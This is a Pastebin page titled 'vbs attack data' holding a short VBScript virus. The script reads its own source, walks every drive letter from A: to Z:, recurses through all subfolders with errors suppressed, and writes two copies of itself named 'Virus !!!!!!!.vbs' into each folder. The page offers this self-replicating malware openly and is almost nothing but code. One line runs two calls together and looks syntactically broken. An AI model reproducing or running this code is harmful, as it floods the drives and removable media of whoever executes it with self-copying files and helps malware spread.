Advertisement
JackHaxor

vbs attack data

May 14th, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.05 KB | None | 0 0
  1.  
  2. Dim fso,file,VBCopy
  3.  
  4. Set fso=CreateObject("Scripting.FileSystemObject")
  5.  
  6. Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
  7.  
  8. VBCopy=file.ReadAll
  9.  
  10. FolderList("A:")
  11.  
  12. FolderList("B:")
  13.  
  14. FolderList("C:")
  15.  
  16. FolderList("D:")
  17.  
  18. FolderList("E:")
  19.  
  20. FolderList("F:")
  21.  
  22. FolderList("G:")
  23.  
  24. FolderList("H:")
  25.  
  26. FolderList("I:")FolderList("J:")
  27.  
  28. FolderList("K:")
  29.  
  30. FolderList("L:")
  31.  
  32. FolderList("M:")
  33.  
  34. FolderList("N:")
  35.  
  36. FolderList("O:")
  37.  
  38. FolderList("P:")
  39.  
  40. FolderList("Q:")
  41.  
  42. FolderList("R:")
  43.  
  44. FolderList("S:")
  45.  
  46. FolderList("T:")
  47.  
  48. FolderList("U:")
  49.  
  50. FolderList("V:")
  51.  
  52. FolderList("X:")
  53.  
  54. FolderList("Y:")
  55.  
  56. FolderList("Z:")
  57.  
  58. FolderList("W:")
  59.  
  60. Sub FolderList(FolderSpec)
  61.  
  62. On Error Resume Next
  63.  
  64. Dim f,f1,sf,COP,CAP
  65.  
  66. Set f=fso.GetFolder(FolderSpec)
  67.  
  68. set sf=f.SubFolders
  69.  
  70. For Each f1 In sf
  71.  
  72. Set COP=fso.CreateTextFile(f1.path & "Virus !!!!!!!.vbs")
  73.  
  74. COP.write VBCopy
  75.  
  76. Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
  77.  
  78. CAP.write VBCopy
  79.  
  80. FolderList(f1.Path)
  81.  
  82. Next
  83.  
  84. End sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement